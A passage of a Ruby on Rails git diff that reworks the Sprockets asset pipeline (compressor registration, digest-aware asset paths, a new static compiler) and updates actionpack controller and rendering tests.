self.registered_js_compressor(name) + if name.respond_to?(:to_sym) + compressor = @@js_compressors[name.to_sym] || @@js_compressors[@@default_js_compressor] + require compressor[:require] if compressor[:require] + compressor[:klass].constantize.new + else + name + end + end + + # The default compressors must be registered in default plugins (ex. Sass-Rails) + register_css_compressor(:scss, 'Sass::Rails::Compressor', :require => 'sass/rails/compressor', :default => true) + register_js_compressor(:uglifier, 'Uglifier', :require => 'uglifier', :default => true) + + # Automaticaly register some compressors + register_css_compressor(:yui, 'YUI::CssCompressor', :require => 'yui/compressor') + register_js_compressor(:closure, 'Closure::Compiler', :require => 'closure-compiler') + register_js_compressor(:yui, 'YUI::JavaScriptCompressor', :require => 'yui/compressor') + end + + # An asset compressor which does nothing. + # + # This compressor simply returns the asset as-is, without any compression + # whatsoever. It is useful in development mode, when compression isn't + # needed but using the same asset pipeline as production is desired. + class NullCompressor #:nodoc: def compress(content) content end end - class LazyCompressor + # An asset compressor which only initializes the underlying compression + # engine when needed. + # + # This postpones the initialization of the compressor until + # <code>#compress</code> is called the first time. + class LazyCompressor #:nodoc: + # Initializes a new LazyCompressor. + # + # The block should return a compressor when called, i.e. an object + # which responds to <code>#compress</code>. def initialize(&block) @block = block end - def compressor - @compressor ||= @block.call || NullCompressor.new - end - def compress(content) compressor.compress(content) end + + private + + def compressor + @compressor ||= (@block.call || NullCompressor.new) + end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/sprockets/helpers.rb b/actionpack/lib/sprockets/helpers.rb index a952a55c5e..fee48386e0 100644 --- a/actionpack/lib/sprockets/helpers.rb +++ b/actionpack/lib/sprockets/helpers.rb @@ -1,5 +1,6 @@ module Sprockets module Helpers - autoload :RailsHelper, "sprockets/helpers/rails_helper" + autoload :RailsHelper, "sprockets/helpers/rails_helper" + autoload :IsolatedHelper, "sprockets/helpers/isolated_helper" end end diff --git a/actionpack/lib/sprockets/helpers/isolated_helper.rb b/actionpack/lib/sprockets/helpers/isolated_helper.rb new file mode 100644 index 0000000000..3adb928c45 --- /dev/null +++ b/actionpack/lib/sprockets/helpers/isolated_helper.rb @@ -0,0 +1,13 @@ +module Sprockets + module Helpers + module IsolatedHelper + def controller + nil + end + + def config + Rails.application.config.action_controller + end + end + end +end diff --git a/actionpack/lib/sprockets/helpers/rails_helper.rb b/actionpack/lib/sprockets/helpers/rails_helper.rb index a95e7c0649..ddf9b08b54 100644 --- a/actionpack/lib/sprockets/helpers/rails_helper.rb +++ b/actionpack/lib/sprockets/helpers/rails_helper.rb @@ -8,12 +8,11 @@ module Sprockets def asset_paths @asset_paths ||= begin - config = self.config if respond_to?(:config) - config ||= Rails.application.config - controller = self.controller if respond_to?(:controller) paths = RailsHelper::AssetPaths.new(config, controller) paths.asset_environment = asset_environment - paths.asset_prefix = asset_prefix + paths.asset_digests = asset_digests + paths.compile_assets = compile_assets? + paths.digest_assets = digest_assets? paths end end @@ -22,56 +21,62 @@ module Sprockets options = sources.extract_options! debug = options.key?(:debug) ? options.delete(:debug) : debug_assets? body = options.key?(:body) ? options.delete(:body) : false + digest = options.key?(:digest) ? options.delete(:digest) : digest_assets? sources.collect do |source| if debug && asset = asset_paths.asset_for(source, 'js') asset.to_a.map { |dep| - javascript_include_tag(dep, :debug => false, :body => true) - }.join("\n").html_safe + super(dep.to_s, { :src => asset_path(dep, :ext => 'js', :body => true, :digest => digest) }.merge!(options)) + } else - tag_options = { - 'type' => "text/javascript", - 'src' => asset_path(source, 'js', body) - }.merge(options.stringify_keys) - - content_tag 'script', "", tag_options + super(source.to_s, { :src => asset_path(source, :ext => 'js', :body => body, :digest => digest) }.merge!(options)) end end.join("\n").html_safe end def stylesheet_link_tag(*sources) options = sources.extract_options! - debug = options.key?(:debug) ? options.delete(:debug) : debug_assets? - body = options.key?(:body) ? options.delete(:body) : false + debug = options.key?(:debug) ? options.delete(:debug) : debug_assets? + body = options.key?(:body) ? options.delete(:body) : false + digest = options.key?(:digest) ? options.delete(:digest) : digest_assets? sources.collect do |source| if debug && asset = asset_paths.asset_for(source, 'css') asset.to_a.map { |dep| - stylesheet_link_tag(dep, :debug => false, :body => true) - }.join("\n").html_safe + super(dep.to_s, { :href => asset_path(dep, :ext => 'css', :body => true, :protocol => :request, :digest => digest) }.merge!(options)) + } else - tag_options = { - 'rel' => "stylesheet", - 'type' => "text/css", - 'media' => "screen", - 'href' => asset_path(source, 'css', body, :request) - }.merge(options.stringify_keys) - - tag 'link', tag_options + super(source.to_s, { :href => asset_path(source, :ext => 'css', :body => body, :protocol => :request, :digest => digest) }.merge!(options)) end end.join("\n").html_safe end - def asset_path(source, default_ext = nil, body = false, protocol = nil) + def asset_path(source, options = {}) source = source.logical_path if source.respond_to?(:logical_path) - path = asset_paths.compute_public_path(source, 'assets', default_ext, true, protocol) - body ? "#{path}?body=1" : path + path = asset_paths.compute_public_path(source, asset_prefix, options.merge(:body => true)) + options[:body] ? "#{path}?body=1" : path + end + + def image_path(source) + asset_path(source) + end + alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route + + def javascript_path(source) + asset_path(source) end + alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with an javascript_path named route + + def stylesheet_path(source) + asset_path(source) + end + alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with an stylesheet_path named route private def debug_assets? - params[:debug_assets] == '1' || - params[:debug_assets] == 'true' + compile_assets? && (Rails.application.config.assets.debug || params[:debug_assets]) + rescue NoMethodError + false end # Override to specify an alternative prefix for asset path generation. @@ -84,6 +89,18 @@ module Sprockets Rails.application.config.assets.prefix end + def asset_digests + Rails.application.config.assets.digests + end + + def compile_assets? + Rails.application.config.assets.compile + end + + def digest_assets? + Rails.application.config.assets.digest + end + # Override to specify an alternative asset environment for asset # path generation. The environment should already have been mounted # at the prefix returned by +asset_prefix+. @@ -92,11 +109,9 @@ module Sprockets end class AssetPaths < ::ActionView::AssetPaths #:nodoc: - attr_accessor :asset_environment, :asset_prefix + attr_accessor :asset_environment, :asset_prefix, :asset_digests, :compile_assets, :digest_assets - def compute_public_path(source, dir, ext=nil, include_host=true, protocol=nil) - super(source, asset_prefix, ext, include_host, protocol) - end + class AssetNotPrecompiledError < StandardError; end # Return the filesystem path for the source def compute_source_path(source, ext) @@ -108,13 +123,33 @@ module Sprockets return nil if is_uri?(source) source = rewrite_extension(source, nil, ext) asset_environment[source] + rescue Sprockets::FileOutsidePaths + nil + end + + def digest_for(logical_path) + if digest_assets && asset_digests && (digest = asset_digests[logical_path]) + return digest + end + + if compile_assets + if digest_assets && asset = asset_environment[logical_path] + return asset.digest_path + end + return logical_path + else + raise AssetNotPrecompiledError.new("#{logical_path} isn't precompiled") + end end - def rewrite_asset_path(source, dir) + def rewrite_asset_path(source, dir, options = {}) if source[0] == ?/ source else - asset_environment.path(source, performing_caching?, dir) + source = digest_for(source) unless options[:digest] == false + source = File.join(dir, source) + source = "/#{source}" unless source =~ /^\// + source end end @@ -125,11 +160,6 @@ module Sprockets source end end - - # When included in Sprockets::Context, we need to ask the top-level config as the controller is not available - def performing_caching? - config.action_controller.present? ? config.action_controller.perform_caching : config.perform_caching - end end end end diff --git a/actionpack/lib/sprockets/railtie.rb b/actionpack/lib/sprockets/railtie.rb index 4906ad9a9c..3d330bd91a 100644 --- a/actionpack/lib/sprockets/railtie.rb +++ b/actionpack/lib/sprockets/railtie.rb @@ -1,111 +1,61 @@ +require "action_controller/railtie" + module Sprockets - autoload :Helpers, "sprockets/helpers" + autoload :Bootstrap, "sprockets/bootstrap" + autoload :Helpers, "sprockets/helpers" + autoload :Compressors, "sprockets/compressors" autoload :LazyCompressor, "sprockets/compressors" autoload :NullCompressor, "sprockets/compressors" + autoload :StaticCompiler, "sprockets/static_compiler" # TODO: Get rid of config.assets.enabled class Railtie < ::Rails::Railtie - config.default_asset_host_protocol = :relative + config.action_controller.default_asset_host_protocol = :relative rake_tasks do load "sprockets/assets.rake" end - # Configure ActionController to use sprockets. - initializer "sprockets.set_configs", :after => "action_controller.set_configs" do |app| - ActiveSupport.on_load(:action_controller) do - self.use_sprockets = app.config.assets.enabled - end - end + initializer "sprockets.environment", :group => :all do |app| + config = app.config + next unless config.assets.enabled - # We need to configure this after initialization to ensure we collect - # paths from all engines. This hook is invoked exactly before routes - # are compiled, and so that other Railties have an opportunity to - # register compressors. - config.after_initialize do |app| - assets = app.config.assets - next unless assets.enabled - - app.assets = asset_environment(app) + require 'sprockets' - ActiveSupport.on_load(:action_view) do - include ::Sprockets::Helpers::RailsHelper + app.assets = Sprockets::Environment.new(app.root.to_s) do |env| + env.logger = ::Rails.logger + env.version = ::Rails.env + "-#{config.assets.version}" - app.assets.context_class.instance_eval do - include ::Sprockets::Helpers::RailsHelper + if config.assets.cache_store != false + env.cache = ActiveSupport::Cache.lookup_store(config.assets.cache_store) || ::Rails.cache end end - app.routes.prepend do - mount app.assets => assets.prefix + if config.assets.manifest + path = File.join(config.assets.manifest, "manifest.yml") + else + path = File.join(Rails.public_path, config.assets.prefix, "manifest.yml") end - if config.action_controller.perform_caching - app.assets = app.assets.index + if File.exist?(path) + config.assets.digests = YAML.load_file(path) end - end - - protected - def asset_environment(app) - require "sprockets" - - assets = app.config.assets - - env = Sprockets::Environment.new(app.root.to_s) - - env.static_root = File.join(app.root.join("public"), assets.prefix) - - if env.respond_to?(:append_path) - assets.paths.each { |path| env.append_path(path) } - else - env.paths.concat assets.paths - end - - env.logger = Rails.logger - if env.respond_to?(:cache) && assets.cache_store != false - env.cache = ActiveSupport::Cache.lookup_store(assets.cache_store) || Rails.cache - end - - if assets.compress - # temporarily hardcode default JS compressor to uglify. Soon, it will work - # the same as SCSS, where a default plugin sets the default. - unless assets.js_compressor == false - env.js_compressor = LazyCompressor.new { expand_js_compressor(assets.js_compressor || :uglifier) } - end - - unless assets.css_compressor == false - env.css_compressor = LazyCompressor.new { expand_css_compressor(assets.css_compressor) } - end - end - - env - end - - def expand_js_compressor(sym) - case sym - when :closure - require 'closure-compiler' - Closure::Compiler.new - when :uglifier - require 'uglifier' - Uglifier.new - when :yui - require 'yui/compressor' - YUI::JavaScriptCompressor.new - else - sym + ActiveSupport.on_load(:action_view) do + include ::Sprockets::Helpers::RailsHelper + app.assets.context_class.instance_eval do + include ::Sprockets::Helpers::IsolatedHelper + include ::Sprockets::Helpers::RailsHelper end end + end - def expand_css_compressor(sym) - case sym - when :yui - require 'yui/compressor' - YUI::CssCompressor.new - else - sym - end - end + # We need to configure this after initialization to ensure we collect + # paths from all engines. This hook is invoked exactly before routes + # are compiled, and so that other Railties have an opportunity to + # register compressors. + config.after_initialize do |app| + Sprockets::Bootstrap.new(app).run + end end end diff --git a/actionpack/lib/sprockets/static_compiler.rb b/actionpack/lib/sprockets/static_compiler.rb new file mode 100644 index 0000000000..32a9d66e6e --- /dev/null +++ b/actionpack/lib/sprockets/static_compiler.rb @@ -0,0 +1,61 @@ +require 'fileutils' + +module Sprockets + class StaticCompiler + attr_accessor :env, :target, :paths + + def initialize(env, target, paths, options = {}) + @env = env + @target = target + @paths = paths + @digest = options.key?(:digest) ? options.delete(:digest) : true + @manifest = options.key?(:manifest) ? options.delete(:manifest) : true + @manifest_path = options.delete(:manifest_path) || target + end + + def compile + manifest = {} + env.each_logical_path do |logical_path| + next unless compile_path?(logical_path) + if asset = env.find_asset(logical_path) + manifest[logical_path] = write_asset(asset) + end + end + write_manifest(manifest) if @manifest + end + + def write_manifest(manifest) + FileUtils.mkdir_p(@manifest_path) + File.open("#{@manifest_path}/manifest.yml", 'wb') do |f| + YAML.dump(manifest, f) + end + end + + def write_asset(asset) + path_for(asset).tap do |path| + filename = File.join(target, path) + FileUtils.mkdir_p File.dirname(filename) + asset.write_to(filename) + asset.write_to("#{filename}.gz") if filename.to_s =~ /\.(css|js)$/ + end + end + + def compile_path?(logical_path) + paths.each do |path| + case path + when Regexp + return true if path.match(logical_path) + when Proc + return true if path.call(logical_path) + else + return true if File.fnmatch(path.to_s, logical_path) + end + end + false + end + + def path_for(asset) + @digest ? asset.digest_path : asset.logical_path + end + end +end diff --git a/actionpack/test/abstract/abstract_controller_test.rb b/actionpack/test/abstract/abstract_controller_test.rb index 5823e64637..bf068aedcd 100644 --- a/actionpack/test/abstract/abstract_controller_test.rb +++ b/actionpack/test/abstract/abstract_controller_test.rb @@ -50,7 +50,7 @@ module AbstractController end def index_to_string - self.response_body = render_to_string "index.erb" + self.response_body = render_to_string "index" end def action_with_ivars @@ -63,11 +63,11 @@ module AbstractController end def rendering_to_body - self.response_body = render_to_body :template => "naked_render.erb" + self.response_body = render_to_body :template => "naked_render" end def rendering_to_string - self.response_body = render_to_string :template => "naked_render.erb" + self.response_body = render_to_string :template => "naked_render" end end diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb index 878484eb57..5eef8a32d7 100644 --- a/actionpack/test/controller/assert_select_test.rb +++ b/actionpack/test/controller/assert_select_test.rb @@ -20,6 +20,15 @@ class AssertSelectTest < ActionController::TestCase end end + class AssertMultipartSelectMailer < ActionMailer::Base + def test(options) + mail :subject => "Test e-mail", :from => "test@test.host", :to => "test <test@test.host>" do |format| + format.text { render :text => options[:text] } + format.html { render :text => options[:html] } + end + end + end + class AssertSelectController < ActionController::Base def response_with=(content) @content = content @@ -313,6 +322,16 @@ EOF end end + def test_assert_select_email_multipart + AssertMultipartSelectMailer.test(:html => "<div><p>foo</p><p>bar</p></div>", :text => 'foo bar').deliver + assert_select_email do + assert_select "div:root" do + assert_select "p:first-child", "foo" + assert_select "p:last-child", "bar" + end + end + end + protected def render_html(html) @controller.response_with = html diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb index f5a56880e6..618e7b77b2 100644 --- a/actionpack/test/controller/caching_test.rb +++ b/actionpack/test/controller/caching_test.rb @@ -197,7 +197,7 @@ class ActionCachingTestController < CachingController caches_action :layout_false, :layout => false caches_action :record_not_found, :four_oh_four, :simple_runtime_error - layout 'talk_from_action.erb' + layout 'talk_from_action' def index @cache_this = MockTime.now.to_f.to_s diff --git a/actionpack/test/controller/default_url_options_with_filter_test.rb b/actionpack/test/controller/default_url_options_with_filter_test.rb new file mode 100644 index 0000000000..3bbb981040 --- /dev/null +++ b/actionpack/test/controller/default_url_options_with_filter_test.rb @@ -0,0 +1,29 @@ +require 'abstract_unit' + + +class ControllerWithBeforeFilterAndDefaultUrlOptions < ActionController::Base + + before_filter { I18n.locale = params[:locale] } + after_filter { I18n.locale = "en" } + + def target + render :text => "final response" + end + + def redirect + redirect_to :action => "target" + end + + def default_url_options + {:locale => "de"} + end +end + +class ControllerWithBeforeFilterAndDefaultUrlOptionsTest < ActionController::TestCase + + # This test has it´s roots in issue #1872 + test "should redirect with correct locale :de" do + get :redirect, :locale => "de" + assert_redirected_to "/controller_with_before_filter_and_default_url_options/target?locale=de" + end +end diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb index 3e723e20d9..43b20fdead 100644 --- a/actionpack/test/controller/force_ssl_test.rb +++ b/actionpack/test/controller/force_ssl_test.rb @@ -14,6 +14,10 @@ class ForceSSLControllerLevel < ForceSSLController force_ssl end +class ForceSSLCustomDomain < ForceSSLController + force_ssl :host => "secure.test.host" +end + class ForceSSLOnlyAction < ForceSSLController force_ssl :only => :cheeseburger end @@ -38,6 +42,22 @@ class ForceSSLControllerLevelTest < ActionController::TestCase end end +class ForceSSLCustomDomainTest < ActionController::TestCase + tests ForceSSLCustomDomain + + def test_banana_redirects_to_https_with_custom_host + get :banana + assert_response 301 + assert_equal "https://secure.test.host/force_ssl_custom_domain/banana", redirect_to_url + end + + def test_cheeseburger_redirects_to_https_with_custom_host + get :cheeseburger + assert_response 301 + assert_equal "https://secure.test.host/force_ssl_custom_domain/cheeseburger", redirect_to_url + end +end + class ForceSSLOnlyActionTest < ActionController::TestCase tests ForceSSLOnlyAction @@ -80,4 +100,4 @@ class ForceSSLExcludeDevelopmentTest < ActionController::TestCase get :banana assert_response 200 end -end
\ No newline at end of file +end diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb index 584d73668a..35a87c1aae 100644 --- a/actionpack/test/controller/helper_test.rb +++ b/actionpack/test/controller/helper_test.rb @@ -1,5 +1,4 @@ require 'abstract_unit' -require 'active_support/core_ext/kernel/reporting' ActionController::Base.helpers_path = File.expand_path('../../fixtures/helpers', __FILE__) diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb index bd3e13e6fa..364e96d4f6 100644 --- a/actionpack/test/controller/http_basic_authentication_test.rb +++ b/actionpack/test/controller/http_basic_authentication_test.rb @@ -85,6 +85,14 @@ class HttpBasicAuthenticationTest < ActionController::TestCase end end + def test_encode_credentials_has_no_newline + username = 'laskjdfhalksdjfhalkjdsfhalksdjfhklsdjhalksdjfhalksdjfhlakdsjfh' + password = 'kjfhueyt9485osdfasdkljfh4lkjhakldjfhalkdsjf' + result = ActionController::HttpAuthentication::Basic.encode_credentials( + username, password) + assert_no_match(/\n/, result) + end + test "authentication request without credential" do get :display diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb index 23709e44e2..2ad95f5c29 100644 --- a/actionpack/test/controller/integration_test.rb +++ b/actionpack/test/controller/integration_test.rb @@ -493,7 +493,7 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest routes.draw do match '', :to => 'application_integration_test/test#index', :as => :empty_string - + match 'foo', :to => 'application_integration_test/test#index', :as => :foo match 'bar', :to => 'application_integration_test/test#index', :as => :bar end @@ -511,7 +511,7 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest test "route helpers after controller access" do get '/' assert_equal '/', empty_string_path - + get '/foo' assert_equal '/foo', foo_path @@ -528,11 +528,10 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest assert_raise(NameError) { missing_path } end - test "process reuse the env we pass as argument" do + test "process do not modify the env passed as argument" do env = { :SERVER_NAME => 'server', 'action_dispatch.custom' => 'custom' } + old_env = env.dup get '/foo', nil, env - assert_equal :get, env[:method] - assert_equal 'server', env[:SERVER_NAME] - assert_equal 'custom', env['action_dispatch.custom'] + assert_equal old_env, env end end diff --git a/actionpack/test/controller/layout_test.rb b/actionpack/test/controller/layout_test.rb index cafe2b9320..25299eb8b8 100644 --- a/actionpack/test/controller/layout_test.rb +++ b/actionpack/test/controller/layout_test.rb @@ -79,7 +79,7 @@ class DefaultLayoutController < LayoutTest end class AbsolutePathLayoutController < LayoutTest - layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test.erb') + layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test') end class HasOwnLayoutController < LayoutTest @@ -184,7 +184,7 @@ class RenderWithTemplateOptionController < LayoutTest end class SetsNonExistentLayoutFile < LayoutTest - layout "nofile.erb" + layout "nofile" end class LayoutExceptionRaised < ActionController::TestCase diff --git a/actionpack/test/controller/mime_responds_test.rb b/actionpack/test/controller/mime_responds_test.rb index afb2d39955..2aa73f1650 100644 --- a/actionpack/test/controller/mime_responds_test.rb +++ b/actionpack/test/controller/mime_responds_test.rb @@ -509,7 +509,7 @@ end class RespondWithController < ActionController::Base respond_to :html, :json respond_to :xml, :except => :using_resource_with_block - respond_to :js, :only => [ :using_resource_with_block, :using_resource, :using_hash_resource ] + respond_to :js, :only => [ :using_resource_with_block, :using_resource, 'using_hash_resource' ] def using_resource respond_with(resource) @@ -745,6 +745,20 @@ class RespondWithControllerTest < ActionController::TestCase end end + def test_using_resource_for_post_with_json_yields_unprocessable_entity_on_failure + with_test_route_set do + @request.accept = "application/json" + errors = { :name => :invalid } + Customer.any_instance.stubs(:errors).returns(errors) + post :using_resource + assert_equal "application/json", @response.content_type + assert_equal 422, @response.status + errors = {:errors => errors} + assert_equal errors.to_json, @response.body + assert_nil @response.location + end + end + def test_using_resource_for_put_with_html_redirects_on_success with_test_route_set do put :using_resource @@ -808,6 +822,18 @@ class RespondWithControllerTest < ActionController::TestCase assert_nil @response.location end + def test_using_resource_for_put_with_json_yields_unprocessable_entity_on_failure + @request.accept = "application/json" + errors = { :name => :invalid } + Customer.any_instance.stubs(:errors).returns(errors) + put :using_resource + assert_equal "application/json", @response.content_type + assert_equal 422, @response.status + errors = {:errors => errors} + assert_equal errors.to_json, @response.body + assert_nil @response.location + end + def test_using_resource_for_delete_with_html_redirects_on_success with_test_route_set do Customer.any_instance.stubs(:destroyed?).returns(true) diff --git a/actionpack/test/controller/new_base/render_file_test.rb b/actionpack/test/controller/new_base/render_file_test.rb index 8b2fdf8f96..a961cbf849 100644 --- a/actionpack/test/controller/new_base/render_file_test.rb +++ b/actionpack/test/controller/new_base/render_file_test.rb @@ -10,7 +10,7 @@ module RenderFile def with_instance_variables @secret = 'in the sauce' - render :file => File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar.erb') + render :file => File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar') end def without_file_key @@ -19,7 +19,7 @@ module RenderFile def without_file_key_with_instance_variable @secret = 'in the sauce' - render File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar.erb') + render File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar') end def relative_path @@ -34,16 +34,16 @@ module RenderFile def pathname @secret = 'in the sauce' - render :file => Pathname.new(File.dirname(__FILE__)).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar.erb]) + render :file => Pathname.new(File.dirname(__FILE__)).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar]) end def with_locals - path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals.erb') + path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals') render :file => path, :locals => {:secret => 'in the sauce'} end def without_file_key_with_locals - path = FIXTURES.join('test/render_file_with_locals.erb').to_s + path = FIXTURES.join('test/render_file_with_locals').to_s render path, :locals => {:secret => 'in the sauce'} end end diff --git a/actionpack/test/controller/new_base/render_partial_test.rb b/actionpack/test/controller/new_base/render_partial_test.rb index 83b0d039ad..b4a25c49c9 100644 --- a/actionpack/test/controller/new_base/render_partial_test.rb +++ b/actionpack/test/controller/new_base/render_partial_test.rb @@ -7,12 +7,12 @@ module RenderPartial self.view_paths = [ActionView::FixtureResolver.new( "render_partial/basic/_basic.html.erb" => "BasicPartial!", "render_partial/basic/basic.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'basic' %><%= @test_unchanged %>", - "render_partial/basic/with_json.html.erb" => "<%= render 'with_json.json' %>", - "render_partial/basic/_with_json.json.erb" => "<%= render 'final' %>", + "render_partial/basic/with_json.html.erb" => "<%= render :partial => 'with_json', :formats => [:json] %>", + "render_partial/basic/_with_json.json.erb" => "<%= render :partial => 'final', :formats => [:json] %>", "render_partial/basic/_final.json.erb" => "{ final: json }", - "render_partial/basic/overriden.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overriden' %><%= @test_unchanged %>", - "render_partial/basic/_overriden.html.erb" => "ParentPartial!", - "render_partial/child/_overriden.html.erb" => "OverridenPartial!" + "render_partial/basic/overriden.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overriden' %><%= @test_unchanged %>", + "render_partial/basic/_overriden.html.erb" => "ParentPartial!", + "render_partial/child/_overriden.html.erb" => "OverridenPartial!" )] def html_with_json_inside_json diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb index 584f2d772c..ba804421da 100644 --- a/actionpack/test/controller/new_base/render_template_test.rb +++ b/actionpack/test/controller/new_base/render_template_test.rb @@ -10,8 +10,8 @@ module RenderTemplate "xml_template.xml.builder" => "xml.html do\n xml.p 'Hello'\nend", "with_raw.html.erb" => "Hello <%=raw '<strong>this is raw</strong>' %>", "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %>", - "test/with_json.html.erb" => "<%= render :template => 'test/with_json.json' %>", - "test/with_json.json.erb" => "<%= render :template => 'test/final' %>", + "test/with_json.html.erb" => "<%= render :template => 'test/with_json', :formats => [:json] %>", + "test/with_json.json.erb" => "<%= render :template => 'test/final', :formats => [:json] %>", "test/final.json.erb" => "{ final: json }", "test/with_error.html.erb" => "<%= idontexist %>" )] @@ -117,7 +117,7 @@ module RenderTemplate assert_response "{ final: json }" end - test "rendering a template with error properly exceprts the code" do + test "rendering a template with error properly excerts the code" do get :with_error assert_status 500 assert_match "undefined local variable or method `idontexist'", response.body diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb index 92d4a6d98b..79041055bd 100644 --- a/actionpack/test/controller/redirect_test.rb +++ b/actionpack/test/controller/redirect_test.rb @@ -4,6 +4,11 @@ class WorkshopsController < ActionController::Base end class RedirectController < ActionController::Base + # empty method not used anywhere to ensure methods like + # `status` and `location` aren't called on `redirect_to` calls + def status; render :text => 'called status'; end + def location; render :text => 'called location'; end + def simple_redirect redirect_to :action => "hello_world" end diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb index be59da9105..aea603b014 100644 --- a/actionpack/test/controller/render_test.rb +++ b/actionpack/test/controller/render_test.rb @@ -14,6 +14,14 @@ module Fun end end +module Quiz + class QuestionsController < ActionController::Base + def new + render :partial => Quiz::Question.new("Namespaced Partial") + end + end +end + class TestController < ActionController::Base protect_from_forgery @@ -155,14 +163,14 @@ class TestController < ActionController::Base # :ported: def render_file_with_instance_variables @secret = 'in the sauce' - path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb') + path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar') render :file => path end # :ported: def render_file_as_string_with_instance_variables @secret = 'in the sauce' - path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb')) + path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar')) render path end @@ -179,21 +187,21 @@ class TestController < ActionController::Base def render_file_using_pathname @secret = 'in the sauce' - render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar.erb') + render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar') end def render_file_from_template @secret = 'in the sauce' - @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb')) + @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar')) end def render_file_with_locals - path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb') + path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals') render :file => path, :locals => {:secret => 'in the sauce'} end def render_file_as_string_with_locals - path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb')) + path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals')) render path, :locals => {:secret => 'in the sauce'} end @@ -397,6 +405,14 @@ class TestController < ActionController::Base render :template => "test/hello_world" end + def render_with_explicit_unescaped_template + render :template => "test/h*llo_world" + end + + def render_with_explicit_escaped_template + render :template => "test/hello,world" + end + def render_with_explicit_string_template render "test/hello_world" end @@ -437,17 +453,13 @@ class TestController < ActionController::Base render :action => "potential_conflicts" end - # :deprecated: - # Tests being able to pick a .builder template over a .erb - # For instance, being able to have hello.xml.builder and hello.xml.erb - # and select one via "hello.builder" or "hello.erb" def hello_world_from_rxml_using_action - render :action => "hello_world_from_rxml.builder" + render :action => "hello_world_from_rxml", :handlers => [:builder] end # :deprecated: def hello_world_from_rxml_using_template - render :template => "test/hello_world_from_rxml.builder" + render :template => "test/hello_world_from_rxml", :handlers => [:builder] end def action_talk_to_layout @@ -509,8 +521,8 @@ class TestController < ActionController::Base render :action => "using_layout_around_block", :layout => "layouts/block_with_layout" end - def partial_dot_html - render :partial => 'partial.html.erb' + def partial_formats_html + render :partial => 'partial', :formats => [:html] end def partial @@ -781,7 +793,9 @@ class RenderTest < ActionController::TestCase end def test_render_file - get :hello_world_file + assert_deprecated do + get :hello_world_file + end assert_equal "Hello world!", @response.body end @@ -1049,6 +1063,12 @@ class RenderTest < ActionController::TestCase assert_response :success end + def test_render_with_explicit_unescaped_template + assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template } + get :render_with_explicit_escaped_template + assert_equal "Hello w*rld!", @response.body + end + def test_render_with_explicit_string_template get :render_with_explicit_string_template assert_equal "<html>Hello world!</html>", @response.body @@ -1211,8 +1231,8 @@ class RenderTest < ActionController::TestCase assert_equal 'partial html', @response.body end - def test_should_render_html_partial_with_dot - get :partial_dot_html + def test_should_render_html_partial_with_formats + get :partial_formats_html assert_equal 'partial html', @response.body end @@ -1251,6 +1271,12 @@ class RenderTest < ActionController::TestCase assert_template('fun/games/_form') end + def test_namespaced_object_partial + @controller = Quiz::QuestionsController.new + get :new + assert_equal "Namespaced Partial", @response.body + end + def test_partial_collection get :partial_collection assert_equal "Hello: davidHello: mary", @response.body diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb index d94db7f5fb..fd5a41a0bb 100644 --- a/actionpack/test/controller/request_forgery_protection_test.rb +++ b/actionpack/test/controller/request_forgery_protection_test.rb @@ -1,6 +1,7 @@ require 'abstract_unit' require 'digest/sha1' require 'active_support/core_ext/string/strip' +require "active_support/log_subscriber/test_helper" # common controller actions module RequestForgeryProtectionActions @@ -157,6 +158,21 @@ module RequestForgeryProtectionTests assert_not_blocked { put :index } end + def test_should_warn_on_missing_csrf_token + old_logger = ActionController::Base.logger + logger = 